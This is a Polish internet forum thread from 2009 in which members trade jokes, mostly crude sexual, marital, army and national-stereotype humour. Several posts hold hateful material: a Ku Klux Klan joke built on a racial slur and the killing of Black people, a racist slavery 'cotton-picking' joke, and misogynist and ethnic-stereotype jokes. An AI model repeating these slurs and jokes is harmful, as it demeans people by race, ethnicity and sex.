Ratownik pyta kręcących się w okolicy chłopów:
- Co się stało? Gdzie ranni?
- Pochowalim.
- Jak to? Wszyscy zginęli?
- Panie, niektórzy mówili, że żyją, ale kto by tam wierzył politykom.

KasiaK - 07-01-2009, 16:43

1. Jedna ludzka komórka zawiera 75 MB informacji genetycznych
2. Dlatego jeden plemnik 37,5 MB
3. W jednym ml spermy jest 100 milionów plemników
4. Przy ejakulacji trwającej średnio 5 sekund uwolni się 2,25 ml spermy
5. Z wyliczeń otrzymamy, że przepustowość danych męskiego penisa wynosi (37,5 MB x 100 MB x 2,25)/5 = 1687,5 Terabajtów na sekundę
6. W wyniku tego wiemy, że żeńskie jajeczko jest zdolne wytrzymywać
ataki DDoS o objętości więcej niż 1,5 Pentabajtów na sekundę a przy tym
przepuści tylko jeden pakiet danych. Tym samym jest to najlepszy
hardware'owy firewall na świecie!
7. Jedna wada... Ten jeden jedyny pakiet, który system przepuści,
zawiesi cały system na 9 miesięcy

jacekplacek - 08-01-2009, 19:31

Lekarz skacowany po ostrym weekendowym pijaństwie.
Nagle wchodzi pacjent, w doskonałym nastroju, i pyta:
- Panie doktorze, jak tam moje wyniki?
- Ma pan raka!
- Jak to raka? A przecież wcześniej mówił pan, że to tylko kamienie!
- Kamienie... A pod każdym: rak!

-------

Praca w biurze to ciągła walka : do południa z głodem, od południa ze snem...

-------

W pewnym supermarkecie klient poprosił młodego sprzedawcę o pół główki
sałaty. Niestety chłopak zaczął odmawiać. Klient był nieugięty i
bardzo napierał, więc sprzedawca poszedł na zaplecze zapytać kierownika.
Przychodzi i mówi:
- Panie kierowniku jakiś palant chce kupić pół główki sałaty.
W tym momencie obejrzał się, a za nim stoi klient i patrzy na niego,
więc szybko dodaje:
- A ten miły pan reflektuje na drugie pół główki!
Kierownik się zgodził, ale potem poszedł do sprzedawcy i mówi:
- Chłopcze mogłeś mieć niezłe kłopoty dzisiaj, ale wykazałeś się
opanowaniem i refleksem, potrzebujemy takich ludzi w naszej firmie.
Skąd pochodzisz chłopcze?
- Z Nowego Targu proszę pana
- A dlaczego stamąd wyjechałełś?
- Wie pan, to miasto bez przyszłości, same dziwki i hokeiści.
- Hmmmm, moja żona pochodzi z Nowego Targu!
- Taaaak? A na jakiej gra pozycji?

malinowy - 08-01-2009, 19:33

Kiedy blondynka myśli? W czasie stosunku,bo jest podłączona do mózgu...
kluska - 09-01-2009, 12:09

Dom wariatow. Lekarz siedzi na dyzurce, wokol sajgon. Szalency wchodza sobie na glowe, wydzieraja sie, bija sie, skacza po lozkach, jedza karaluchy, rzucaja sie poduszkami... Nagle do lekarza podchodzi taki najbrudniejszy. Koszula wymieta, czarne paznokcie, tluste wlosy, na nogach podarte kapcie, nieogolony, since pod oczami. Lekarz na niego patrzy i mówi:
- A co to takie piekne do mnie przyszlo? Malpka?
Facet nic.
- A moze Napoleon albo jaki Ksiaze?
Facet nic.
- A moze to taki piekny przybysz z obcej planety nas odwiedzil?
A facet na to:
- Panie, k..., ogarnij Pan ten p i e r d o l n i k, bo mi tu kazali neostrade podlaczyc!

Tomasz Zabierek - 09-01-2009, 15:21

To ja sprzedam taki prosty tekst, ktorym wczoraj uraczyl mnie kolega :)
Dowcip brzmi:

"Krówka ciągutka" :D

martin - 09-01-2009, 16:25

Pijaczek kręcąc się przypadkiem po cmentarzu zauważył grabarza zajętego
swoją pracą i postanowił go dla żartu przestraszyć. Podszedł do niego od
tyłu i wrzasnął :"BUUUUAAA" Grabarz ani drgnął, nawet się nie odwrócił i
kontynuował swoją pracę. Pijaczek zniesmaczony nieudanym żartem odchodzi.
Kiedy przechodzi przez bramę, poza teren cmentarza, nagle dostaje łopatą w
łeb i pada na ziemie nieprzytomny. Pochyla się nad nim grabarz i grożąc
palcem mówi:
"Straszymy, biegamy, skaczemy, bawimy się ... ale za bramę nie
wychodzimyyyy!"

Cerberiusz - 09-01-2009, 20:06

Ksiądz chodzi z tacą po kościele, zbiera pieniądze od parafian. Podchodzi do staruszki, a ona grzebie w portfelu. Ksiądz: Te grubsze babciu, papierowe..
Babcia:
- Aa nie... Te grubsze mam na fryzjera..
Ksiądz:
- Babciu, ale Maryja nie chodziła do fryzjera.
Babcia:
- Taak?? A Jezus nie jeździł Maybachem...

----

Poczytajcie komentarze jakie koleś wystawia
http://moto.allegro.pl/sh...pe=fb_given_all

kolax2 - 10-01-2009, 09:57

Tomasz Zabierek napisał/a:
To ja sprzedam taki prosty tekst, ktorym wczoraj uraczyl mnie kolega :)
Dowcip brzmi:

"Krówka ciągutka" :D

Mamy sie domyslac, o kim z Forum Nuras to bylo?
Bo jesli tak, to mam swoj typ
:D

kris_14_ss - 11-01-2009, 08:13

Szeregowy Kowalski pełni służbę w parku maszynowym. Pewnego wieczoru dzwoni telefon. Nie znoszący sprzeciwu głos pyta:
- Jakie pojazdy mamy w tej chwili na chodzie?
- Melduję posłusznie, że osiem samochodów ciężarowych, cztery czołgi, trzy transportery opancerzone i jeepa tego pieprzonego grubasa, Nowaka.
- Żołnierzu, czy wiecie z kim rozmawiacie?!
- Melduję posłusznie, że nie.
- Z majorem Nowakiem, durniu!
- Panie majorze, a wy wiecie z kim rozmawiacie? – pyta nieco drżącym głosem Kowalski.
- Nie.
- A to w porządku. Do widzenia…


Lotnik i marynarz weszli mniej więcej w tym samym czasie do męskiej toalety. Stanęli przy pisuarach i załatwiają potrzebę. Pierwszy skończył marynarz i skierował swe kroki do umywalki. Myje ręce i kontem oka widzi, że lotnik zasuwa rozporek i kieruje się do wyjścia.
- Hej, lotniku! - krzyknął.
- Tak, słucham? - zatrzymał się wychodzący.
- W marynarce nauczyli nas, że po sikaniu myje się ręce.
- Nas w lotnictwie nauczyli, żeby sobie na ręce nie sikać.


Po rewolucji kulturalnej w Chinach. Sztab generalny szykuje plan inwazji na ZSRR. Głównodowodzący przedstawia założenia strategiczne operacji:
- Od wschodu pójdzie 300 milionów żołnierzy od zachodu ruszy 200 milionów, a środkiem pójdą czołgi.
Na to wstaje głównodowodzących wojsk pancernych i pyta:
- OBA?

Dany - 15-01-2009, 00:15

Co czyni temperatura?

20°C Grecy zakładają swetry (jeśli je tylko mogą znaleźć).

15°C Jamajczycy włączają ogrzewanie (oczywiście, jeśli je mają).

10°C Amerykanie zaczynają się trząść z zimna. Rosjanie na daczach sadzą
ogórki.

5°C Można zobaczyć swój oddech. Włoskie samochody odmawiają
posłuszeństwa. Norwedzy idą się kąpać do jeziora.

0°C W Ameryce zamarza woda. W Rosji woda gęstnieje.

- 5°C Francuskie samochody odmawiają posłuszeństwa.

- 10°C Planujesz urlop w Australii.

- 15°C Kot upiera się, że będzie spał z tobą w łóżku. Norwedzy
zakładają swetry.

- 17.9°C W Nowym Jorku właściciele domów włączają ogrzewanie. Rosjanie
ostatni raz w sezonie wyjeżdżają na dacze.

- 20°C Amerykańskie samochody nie zapalają.

- 25°C Niemieckie samochody nie zapalają. Wyginęli Jamajczycy.

- 30°C Władze podejmują temat bezdomnych. Kot śpi w twojej piżamie.

- 35°C Zbyt zimno, żeby myśleć. Nie zapalają japońskie samochody.

- 40°C Planujesz przez dwa tygodnie nie wychodzić z gorącej kąpieli.
Szwedzkie samochody odmawiają posłuszeństwa.

- 42°C W Europie nie funkcjonuje transport. Rosjanie jedzą lody na
ulicy.

- 45°C Wyginęli Grecy. Władze rzeczywiście zaczynają robić coś dla
bezdomnych.

- 50°C Powieki zamarzają w trakcie mrugania. Na Alasce zamykają lufcik
podczas kąpieli.

- 60°C Białe niedźwiedzie ruszyły na południe.

- 70°C Zamarzło piekło.

- 73°C Fińskie służby specjalne ewakuują świętego Mikołaja z Laponii.
Rosjanie zakładają uszanki.

- 80°C Prawnicy włożyli ręce we własne kieszenie.

- 114°C Zamarza spirytus etylowy. Rosjanie są nie w humorze.

Jak to zwykłeś mawiać - ech, byle do wiosny!!!

jacola - 23-01-2009, 12:03

Idą dwa koty przez pustynię.Po jakimś czasie jeden mówi do drugiego:
-k... nie ogarniam tej kuwety.

Dany - 23-01-2009, 18:19

Święty Piotr przychodzi do Boga, żeby zadać mu pytanie w kwestii techniczno-konstrukcyjnej:
- Kończymy pracę nad ludźmi. Nie wiemy ile nerwów włożyć w dłonie Ewy.
- A ile daliście Adamowi? - pyta Bóg.
- Jakieś dwieście - odpowiada św. Piotr.
- No to dajcie tyle samo kobiecie.
- Aha... Jeszcze nie wiemy ile jej włożyć nerwów w genitalia.
- A ile dostał Adam?
- Czterysta dwadzieścia.
- No i dobrze, dajcie tyle samo Ewie.
Po chwili Bóg krzyczy za Piotrem:
- Albo wiesz co? Dajcie jej jakieś dziesięć tysięcy, żeby krzyczała moje imię za każdym razem jak pójdzie z facetem do łóżka.

I - 24-01-2009, 11:26

Zastanawiałem się tylko, czy nie wstawić raczej do wątku:
moja muzyka z Maroko ;)

P.
I

jacekplacek - 02-02-2009, 08:28

Na przejściu granicznym w Hrebennem zajeżdża czarny Mercedes 600. Wysiada młody facet w czarnym garniturze i otwiera bagażnik. Podchodzi do niego celnik i zaczyna klasyczne pytania:
- Narkotyki? broń? dewizy?
- Oczywiście - odpowiada kierowca i otwiera walizki.
Celnik z niedowierzaniem patrzy na zawartość waliz. Pierwsza wypełniona po brzegi foliowymi torebeczkami z białym proszkiem, druga pełna karabinów, w trzeciej równo poukładane paczki 100 dolarowych banknotów.
- To wszystko pana? – pyta.
- Nie - odpowiada młody człowiek - to jest pana, moje jest w tamtym Tirze.

- Mamo, nie wyobrażasz sobie co się stało! Strasznie się pokłóciliśmy! Coś okropnego!
- Spokojnie, curuś, nie denerwuj się. W każdej rodzinie od czasu do czasu zdarzają się konflikty...
- No, wiem. Ale co zrobić z trupem?

Stary Żyd dawał do gazety nekrolog po swojej żonie i spytał o cenę.
- Do pięciu wyrazów za darmo.
- Nooo... to niech będzie: Zmarła Zelda Goldman.
- Ma pan do dyspozycji jeszcze dwa wyrazy.
- To niech będzie - Zmarła Zelda Goldman, sprzedam Opla.

Wężu - 04-02-2009, 03:07

Żona do męża na bankiecie:
- Jak zwykle po piątej lampce wina stajesz się odrażającym bydlakiem.
- Przecież nic nie piłem.
- Ale ja tak.


Szef wchodzi do firmy a tam stoły zastawione wódką, panowie pijani leżą pod stołem, kobiety tańczą na stole, w powietrzu unosi się dym papierosowy.
- Przecież mówiłem, że podczas pracy nie wolno pić i palić!
- Szefie, kur..., a kto pracuje?


Sześć etapów projektu:
1. Entuzjazm.
2. Porzucenie złudzeń.
3. Panika.
4. Szukanie winnych.
5. Ukaranie niewinnych.
6. Nagrodzenie nie uczestniczących.

[ Dodano: 04-02-2009, 21:04 ]
Przychodzi baba do lekarza i mówi, że za nic nie może zajść z mężem w ciążę, a przecież już nie jest pierwszej młodości i przydałoby się w końcu.
- A jak się pani mąż nazywa?
- Kowalski Jan.
- Niech go pani do mnie jutro przyśle.
Następnego dnia przychodzi mąż do lekarza, a lekarz mówi:
- Panie Kowalski, wszystkie pana sąsiadki usuwały u mnie ciążę twierdząc, że to pan jest ojcem, a z własną żoną pan nie potrafi?
- Bo ja w niewoli się nie rozmnażam.


Dlaczego w Czernobylu nie można nazbierać grzybów?
Bo się rozłażą!

thorne - 06-02-2009, 18:31

Ja mam taki dwuznaczny:

Dlaczego Wedel nie miał dzicieci?
Bo cały inetres wkładał w kakao :)

sempai - 06-02-2009, 21:38

- Co by wyszło z połączenia murzyna i ośmiornicy??
- Jak nie wiecie to się nie martwcie bo ja też nie wiem. Ale wyobraźcie sobie jak cudownie by to coś bawełnę zbierało....

soul - 08-02-2009, 00:28

co powstanie ze skrzyzowania blondynki z psem husky???

najglupszy pies z zaprzegu... albo kur##wa odporna na mroz :DDDDDD

Padre-Kris - 08-02-2009, 15:34

Czym się różni:
Ginekolog krótkowidz od misia koala?

Mokrym noskiem!!!!

soul - 09-02-2009, 03:55

jaka jest roznica miedzy stomatologiem a ginekologiem??

ginekolog zawsze pracuje na calkowitym bezzebiu:)

nuras5 - 09-02-2009, 10:18

Wieś nieopodal Lublina.
>
> Miejscowy gospodarz wychodzi rano oporządzić swoją krowę. Ale
> po chwili wzburzony wraca do chałupy i budzi swoich trzech synów
> mówiąc:
> - Jakiś a fee ukradł nam krowę!
> Starszy syn:
> - Jak a fee to znaczy konus jakiś...
> Średni syn:
> - Jak konus to pewnie z Trojanowa...
> Najmłodszy syn:
> - Jak z Trojanowa to pewnie Wasyl.
> Zaprzęgli konia do wozu i pojechali do Trojanowa i dali Wasylowi po
> mordzie. Wasyl jednak nie przyznał się do kradzieży.Profilaktycznie
> dali mu po mordzie drugi raz, ale także bez efektu. Chcąc nie chcąc
> wsadzili Wasyla na wóz i pojechali do sądu grodzkiego. Stanęli przed
> sędzią i ojciec mówi:
> - Obudziłem się rano, patrzę krowę ukradł jakiś a fee. Mówię o tym
> synom. Najstarszy mówi, że jak a fee to musiał być konus. Średni mówi, że
> jak konus to z pewnością z Trojanowa. Najmłodszy mówi, że jak z
> Trojanowa to na pewno Wasyl. Dalimy mu po mordzie, ale krowy nie
> chce oddać!
> Sędzia:
> - Hmmm... logika niby żelazna, ale to jeszcze niczego nie dowodzi. No na
> ten przykład, powiedzcie mi co mam w tym pudełku?
> Ojciec:
> - Pudełko kwadratowe...
> Najstarszy syn:
> - To znaczy, że w nim coś okrągłego...
> Średni syn:
> - Jak okrągłe to musi być pomarańczowe...
> Najmłodszy:
> - Jak pomarańczowe - to z pewnością mandarynka...
> Sędzia zdumiony zagląda do pudełka i mówi:
> - Wasyl, Ty a fee... Oddawaj a fee krowę...

Padre-Kris - 09-02-2009, 15:02

Kiedy Jaś był mały, mama miała z nim problem ponieważ ciągle wzywano ją do szkoły z powodu tego, że Jaś wkładał dziewczynkom ręce pod spódniczkę. Mama w koću wybrała się z Jasiem do psychologa i po jednej wizycie jak ręką odjął - po problemie.
Jąś dojrzał wyrósł na Jana i ów Jan ożenił się z Małgorzatą.
Po nocy poślubnej Małoorzata żali się swojej mamie, że Jan coś nie tego bo nawet jej nie dotknął.

Druga noc - to samo.

Trzecia - znowu nic.

W końcu Małgorzata postanowiła porozmawiać poważnie z Janem:
- Janie jesteśmy juz dwa tygodnie po ślubie a ty ani razu mnie nie dotknąłeś nie mówiąc już o tym ciekawym miejscu.
_ Wiesz Małgosiu kiedy byłem chłopcem miałem z tym problem. ciągle wkładałem dziewczynom ręce pod spódnice, ale mama zaprowadziła mnie do psychologa, który powiedzial mi żebym tego nie robił bo dziewczęta mają tam ząbki i mogę stracić paluszki. Jak widzisz mam do tej pory wszystkie bo przestałem macać dziewczynki.
- Jasiu ty głuptasie ktoś naopowiadał ci bajek no chodź i zobacz żadnych ząbków - powiedziała Małgosia podnosząc kołdrę.

Jan wsadził głowe pod kołdrę wszystko dokładnie obejżał i powiada:
Masz rację Małgosiu ząbków tam nie ma ale:


DZIĄSŁA TO MASZ W OPŁAKANYM STANIE!!!!!!!

kluska - 11-02-2009, 09:37

co dla mezczyzny oznacza posilek z 7 dan?
- hot-dog i szesciopak...

grzegorz - 11-02-2009, 18:05

coś pokręciłas Kluska:)
jacekplacek - 11-02-2009, 19:17

Byl sobie facet, który dbal o swoje cialo. Pewnego razu stanal przed lustrem, rozebral sie i zaczal podziwiac swe cialo. Ze zdziwieniem stwierdzil jednak, iz wszystko jest pieknie opalone oprócz jego czlonka! Nie podobalo mu sie to, wiec postanowil cos z tym zrobic. Poszedl na plaze, rozebral sie i zasypal cale swe cialo, zostawiajac czlonka sterczacego na zewnatrz.
Przez plaze przechodzily dwie staruszki. Jedna opierala sie na lasce. Przechodzac obok zasypanego faceta ujrzala cos wystajacego z piasku. Koncem laski zaczela przesuwac to w jedna, to w druga strone.
- Zycie nie jest sprawiedliwe - powiedziala do drugiej.
- Czemu tak mówisz? - spytala tamta zdziwiona.
- Gdy mialam 20 lat bylam tego ciekawa, gdy mialam 30 lat bardzo to lubilam, w wieku 40 lat juz sama o to prosilam, gdy mialam lat 50 juz za to placilam, w wieku 60 lat zaczelam sie o to modlic, a gdy mialam 70 to juz o tym zapomnialam. Teraz, kiedy mam 80 lat, te rzeczy rosna na dziko, a ja nawet nie moge przykucnac!

PawelW - 11-02-2009, 19:31

grzegorz napisał/a:
coś pokręciłas Kluska:)


co mianowiecie 6 piw + hot-dog = 7 dań ??? :)

Wężu - 11-02-2009, 22:15

Dwóch znajomych siedzi przy piwie w barze.
Jeden mówi:
- Kazik, coś ty taki smutny?
- A, wiesz Andrzej... u mojej żony wykryli AIDS.
Andrzej, spokojnie, żartowałem. Co tak zbladłeś?


Dwóch kumpli rozmawia przy piwie:
- A z którą najlepiej uprawia ci się seks?
- Z Agnieszką, ona kocha się po mistrzowsku.
- A na drugim miejscu?
- Dorota.
- A na trzecim?
- Moja żona.
- Też jest niezła w te klocki?
- Nie, ale jakoś głupio nie wspomnieć o żonie...


- Siemano, stary, dawno cię nie widziałem. Gdzie byłeś?
- Aaa... w szpitalu, nerwy leczyłem.
- Co?
- NERWY, KUR...!!!!


Wracają 4 blondynki z kurortu. Jedna mówi:
- A jak przyjadę do domu, to opowiem mężowi o każdej zdradzie jakiej się dopuściłam podczas tego wyjazdu.
Druga blondynka myśli sobie:
- Ale głupia!
Trzecia myśli:
- Ale odważna!
Czwarta:
- Ale pamięć!


Podróżnik w dżungli napotyka zgraję dzikusów-kanibali. Myśli sobie:
- Ale mam przejeb...
Głos z nieba:
-Wcale nie. Musisz tylko wyjąć nóż i wbić go w serce największemu z nich.
Podróżnik dobywa nóż z pochwy i z impetem wbija dzikusowi w pierś.
Głos z nieba:
- Teraz masz przejeb...


Żona otwiera drzwi, a w progu stoi pijany jak bela mąż.
- Przyniosłeś wypłatę?
Mąż pada na podłogę, a na plechach ma wypisane kredą:
"NIE, TY SUKO"


Na poboczu stoi narkoman, słucha muzyki z mp3 playera i macha na samochody.
Zatrzymuje się taksówka.
Narkoman mówi:
- Dziadek, jesteś wolny?
- Tak.
- To wysiadaj, potańczymy.


- Dziadku, a rękę straciłeś na wojnie?
- Tak, jak mnie ciągnęli do WKU.


W sztabie Ku-Klux-Klanu.
- W jaki sposób można się dostać do waszej organizacji?
- Trzeba zabić czterech czarnuchów i jednego kota.
- A kota za co?
- Gratulacje, jesteś przyjęty.

Facet do sprzedawcy w sklepie z pamiątkami:
- Niech mi pan pomoże coś wybrać na dzień kobiet.
- Dla żony, czy coś lepszego?


Facet domyślił się, że żona go zdradza. Pewnego wieczoru zaczekał, aż wyjdzie z domu, po czym wskoczył do taksówki nakazał kierowcy ją śledzić.
Chwilę później wszystko było jasne - żona pracowała w agencji towarzyskiej!
Zszokowany facet mówi do taksówkarza:
- Chcesz pan zarobić stówę?
- Jasne! Co mam robić?
- Wejść do agencji, zabrać moją żonę, wsadzić ją do taksówki i zawieść nas oboje do domu.
Taksówkarz zabrał się do pracy. Kilka minut później drzwi agencji otworzyły się z hukiem i pojawił się taksówkarz trzymający za włosy wijącą się kobietę. Otworzył drzwi samochodu, wrzucił ją do środka i powiedział:
- Trzymaj pan ją!
A facet krzyknął do taksówkarza:
- To nie jest moja żona!
- Wiem, kur..., to moja! Teraz idę po pańską!


Najnowocześniejszy bank świata, super kozacki sejf.
Właściciele postanowili przetestować zabezpieczenia. W tym celu zaprosili najbardziej znanych złodziei świata z Francji, Stanów, Niemiec i dwóch przypadkowych Polaków...
Dla każdej ekipy postanowili zgasić światło przed sejfem na pół minuty i jeśli po zapaleniu światła sejf będzie otwarty, ekipa może zabrać zawartość.
Pierwsi próbują Francuzi, światło się zapala - nie udało się.
Drudzy Amerykanie, światło się zapala - nawet sprzętu nie zdążyli wyjąć.
Trzeci Niemcy, światło się zapala - nic...
Kolej na Polaków, światło gaśnie, mija pół minuty, próbują zapalić światło. Nic, próbują po raz kolejny - nic...Z mroku słychać tylko cichy szept:
- Kur... Stefan mamy tyle hajsu na cholerę ci jeszcze ta jeb... żarówka?


Dwóch facetów. Wieloletni przyjaciele od dzieciństwa. Jednak jeden z nich niestety jest częściowo sparaliżowany, potrzebuje trochę pomocy w codziennym życiu. Pewnego dnia siedzą u niego na werandzie, sparaliżowany mówi:
- Wiesz, co, mam pytanie - czy naprawdę jesteś moim przyjacielem?
- No jasne stary, znamy się od dziecka, wiesz, ze zrobiłbym dla ciebie
wszystko!
- Wiem, mój przyjacielu, wiem. Miałbym wiec do ciebie małą prośbę czy
przyniósłbyś mi z piętra skarpetki? Robi się trochę chłodno, a jak
wiesz, janie jestem w stanie tego zrobić.
- Stary, w ogóle nie ma o czym mówić. Skoczyłbym dla ciebie w ogień.
- Dziękuje ci mój przyjacielu.
Facet idzie na piętro, otwiera drzwi do pokoju, wchodzi i staje oniemiały. Przed oczami rozpościera mu się cudowny widok - dwie córki jego przyjaciela, młode, piękne jak marzenie, ubrane jedynie w bieliznę. Facet nie może oderwać wzroku, targają nim wyrzuty sumienia - w końcu to
córki jego najlepszego przyjaciela, jednak w końcu poddaje się instynktom i mówi:
- Wasz ojciec przysłał mnie, żebym się z wami przespał.
- Niemożliwe! - mówi jedna.
- Nieprawdopodobne! - mówi druga.
- No cóż, jeśli mi nie wierzycie, zaraz wam udowodnię.
Facet podchodzi do okna, otwiera je i krzyczy...
- Obie?
- Tak, tak, obie! Dzięki, stary!




Międzynarodowe zawody w przeklinaniu. Trzech finalistów: Amerykanin, Rosjanin, Polak.
Finalistów usadzono w szczelnie zamkniętych kabinach, żeby nie
mogli się podsłuchiwać i podpatrywać.
Komisja dała znak. Pierwszy wystartował Amerykanin:
- Fak, mada faka, fak jo self ... itp., itd... I tak przez około 5
minut.
Drugi Rosjanin:
- Job twoju mać, bladź, chu... wam w żopu... itp. itd..
Po dziesięciu minutach ostrych słów przyszła kolej na Polaka.
Lekki rumor w kabince i leci wiązanka:
- O żesz ty w mordę pierd... mać, w dupę jeb... kozia dupo, pierd... ciebie i twoja matkę też... itp. itd.
Polak nadaje tak ok. godziny. Nagle wystawia głowę z kabinki i mówi:
- Dobra, mogę zaczynać.
Komisja na to:
- Zaczynać!? A co to było przez ostatnią godzinę?!
- To? Nic. Sznurówka mi się rozwiązała, ciasno w tej kabinie jak
chu... i nie mogłem jej kur... zawiązać.


Poradnia małżeńska. Przed biurkiem siedzi dość nerwowa para.
- Na czym polega państwa problem? – pyta Poradnik.
- Bo żona nie daje mi... – zaczyna mąż
- Uch, ty jełopie zakłamany! – przerywa żona – Ja ci nie daję, napalona fujaro złamana?! Ja, ja?! Teraz to ci dupczenie w głowie, co?!
- ...nie daje mi dojść...
- O ty kutafonie wygięty! Ja ci dojść nie daję?! Jak ty masz niby dojść, impotencie zasrany z dziada pradziada, hipokryto ty ?!?!?
- ...do słowa.

jacekplacek - 16-02-2009, 08:28

Garsc przesadów.
Rozsypala sie sól - bedzie klótnia.
Rozsypal sie cukier - na zgode.
Rozsypala sie kokaina - beda wizje.
Upadl widelec - ktos przyjdzie.
Upadlo mydlo - oczekuj nieoczekiwanego.
Jaskólki nisko lataja - bedzie deszcz.
Krowy nisko lataja - rozsypala sie kokaina.
Peklo lustro - bedzie nieszczescie.
Pekl rozporek - bedzie wstyd. Mniejszy lub wiekszy...
Pekla prezerwatywa - lepiej, zeby peklo lustro.
Swedzi nos - bedzie pijanstwo.
Swedzi dupa - mydlo upadlo.

Te_Pe - 16-02-2009, 08:41

limeryk na czasie.....

...gdy oszczędzasz na bilecie
to ci Niemiec płaszcz pogniecie.....

kluska - 16-02-2009, 09:29

Do właściciela stacji benzynowej przychodzi jakiś gość:
- Czy pan potrzebuje ludzi do pracy?
- Nie, mam komplet, nawet o dwie osoby za dużo.
- Poważnie?
- Przykro mi, ale naprawdę mówię poważnie.
- No to, ku*wa, niech mnie ktoś wreszcie obsłuży!

Dany - 20-02-2009, 22:40

Mąż będąc bardzo w "potrzebie" zaczął dobierać się do swojej
małżonki, która akurat tej nocy nie miala ochoty na małżeńskie fikołki
Po kilku nieudanych próbach zapytał:
- Dlaczego nie?
Małżonka wyjaśniła, ze następnego dnia udaje się do lekarza -
ginekologa i nie chce przed tym uprawiać seksu, bo musi być czysta,
po czym odwróciła sie na drugi bok. Kiedy już zasypiała poczuła, ze
mąż puka ją w ramię.
Rzuciła:
- Co znowu?
- Ale do dentysty jutro nie idziesz?

[ Dodano: 24-02-2009, 22:37 ]
Pogrzeb - wdowa chowa swego męża. Grabarz pyta:
- Ile lat miał mąż?
- 98.
- A pani ile ma?
- 97.
- To opłaca się pani wracać do domu?

[ Dodano: 27-02-2009, 18:56 ]
Czukcza łowi ryby nad brzegiem Oceanu Lodowatego. Wynurza się amerykańska łódź podwodna, wyskakuje marynarz:
- Rosjanie byli?
- Nie...
Odpłynęli. Po chwili wynurza się rosyjska łódź podwodna, wyskakuje marynarz:
- Amerykanie byli?
- Tak...
- Gdzie popłynęli?
- Na północny wschód.
- Nie mądrzcie się, ręką pokażcie!

Beeker - 28-02-2009, 18:10

stare, ale tu nie było ...

Jaki to samochód?

1) Ma o wiele lepsze przyspieszenie niż zwykłe samochody.

2) Droga hamowania jest dwukrotnie krótsza.

3) Możesz przejechać próg zwalniający z dwukrotnie wyższą prędkością niż zalecana.

4) Nigdy nie musisz sprawdzać poziomu oleju, płynów, stanu ogumienia.

5) Po zapaleniu się lampki ciśnienia oleju, możesz jeszcze spokojnie przejechać jeszcze 200-300km.

6) W ogóle nie wymaga mycia i sprzątania wewnątrz.

7) Zawieszenie umożliwia ci przewożenie dowolnie ciężkich ładunków.

8) Wszelkie niepokojące dźwięki i stuki z silnika eliminujesz poprzez podkręcenie radia.

9) Nie potrzebujesz żadnych alarmów, auto można zostawić wszędzie, nawet otwarte i z kluczykami w środku.

?




... służbowy :D

piotrkw - 28-02-2009, 18:49

10) Podjedzie pod wyższy krawężnik niż zrobi to.... Hummer.

Pozdrawiam Piotr

martin - 28-02-2009, 19:28

TATA Indicruz?
Beeker - 28-02-2009, 21:31

no to dodam od siebie:
11) jest idealnym nurkowozem :mrgreen:

hubert68 - 01-03-2009, 18:09

12) Jakim samochodem można zjechać po schodach?
Damass - 01-03-2009, 19:03

hubert68 napisał/a:
12) Jakim samochodem można zjechać po schodach?



Wiem, ciągnik to nie auto ale... :bee;


jacekplacek - 03-03-2009, 11:48

Wg statystyków o nas:

Potrzebne jest 7 sekund zeby jedzenie z buzi przeszlo do zoladka
Ludzki wlos wytrzymuje obciazenie 3 kg
Dlugosc meskiego penisa jest równa dlugosci kciuka razy 3
Udo jest tak twarde jak cement
Serce kobiety bije szybciej niz mezczyzny
Na kazdej stopie mamy ok. tysiaca miliardów bakterii
Kobieta mruga dwa razy szybciej od mezczyzny
Uzywamy 300 muskulów tylko zeby utrzymac balans jak stoimy
Kobiety juz dawno przeczytaly ten mail - Mezczyzni w dalszym ciagu ogladaja swój kciuk

Dany - 03-03-2009, 20:57

Ojciec z synem handluja kartoflami po osiedlach.

Zajezdzaja na podwórko i wołają " Kartofelki!Kartofelki! "
Z drugiego pietra babeczka sie wychyla, ze chce.
- Ile?
- Cztery worki.
- Synu idz - mowi ojciec.
Na gorze babka pyta: Dobra. Ile place?
- 200 zl.
- Hmm, nie mam tyle, ale pan jest dorosly, mi tez niczegonie
brakuje, moze seks?
- Hmmm, wie pani, musialbym sie skonsultowac z tata.
- Ale, no wie pan, przeciez pan jest dorosly, po co takie
pytania?
- Jednak wolalbym zapytac.
- Ale dlaczego?
- W zeszlym roku przejeb...śmy 8 ton

[ Dodano: 05-03-2009, 19:35 ]
Kowalski wraca do domu z pracy, ma już usiąść przed telewizorem, ale słyszy
charakterystyczne odgłosy dobiegające zza ściany od sąsiada.
- Ten sąsiad zaczyna mnie już wpieniać! Idę mu powiedzieć, żeby ciszej pukał te swoje panienki!
- Mama chciała mu to samo powiedzieć z godzinę temu - mówi Jasio.
- I co, powiedziała? - pyta ojciec.
- Nie wiem, jeszcze nie wróciła...

[ Dodano: 09-03-2009, 23:07 ]
Albańscy hakerzy postanowili przeniknąć do sieci. Pierwszych 10 zginęło, 220V to jednak nie przelewki...



Rycerz miał wziąć udział w turnieju, ale został ścięty. Miał nielegalną kopię...



Uruchomiono nowy kanał TV dla bezdomnych - Karton Network.



W Warszawie ma się odbyć demonstracja właścicieli chińskich restauracji.
Policja obiecała przyjść z własnymi pałeczkami.



Poziomki uzyskujemy przez przewracanie pionków.



Ogłoszenie w Chinach: Znaleziono psa. Byłego właściciela zapraszam na grilla.



Chińczycy wyhodowali nową rasę psów. Teraz o smaku banana!

breath - 12-03-2009, 14:57

to i ja pare :)
Kowalska jak zwykle przesoliła zupę, lecz mąż tylko machnął na to ręką.
Skubana zdążyła zrobić unik.

Przed wejsciem do kina mężczyzna staje obok młodej dziewczyny:
- Czy mogę tu stanąć? Zgubiłem żonę w tłumie. Ale, jak tylko stanę
obok
pani, żona natychmiast się znajdzie...

Rosja - jedyny kraj na swiecie, który broni praw swych obywateli tylko i wylacznie poza granicami swojego panstwa..

Jezeli mezczyzna zaczyna prac sobie skarpetki, jak nic to jego ostatnia para!

Po dwudziestu latach małżeństwa para leży w łóżku i nagle żona czuje, że mąż zaczyna ją pieścić, co już się bardzo dawno nie zdarzało. Prawie jak łaskotki jego palce zaczęły od jej szyi, biegły w dół delikatnie wzdłuż kręgosłupa do bioder. Potem pieścił jej ramiona i szyję, dotykał jej piersi, by zatrzymać się powyżej podbrzusza. Potem kontynuował, umieszczając swą dłoń po wewnętrznej stronie jej lewego ramienia, znów pieścił lewą stronę jej biustu i obsuwał dłoń wzdłuż jej pośladków, uda i nogę, aż po kostkę. Kontynuował po wewnętrznej stronie lewej nogi unosząc pieszczoty aż do najwyższego punktu uda. Och... W ten sam sposób delikatnymi ruchami dłoni pieścił jej prawą stronę i gdy żona czuła się już rozpalona do ostatnich granic... Nagle przestał. Przekręcił się na plecy i zaczął oglądać telewizję.
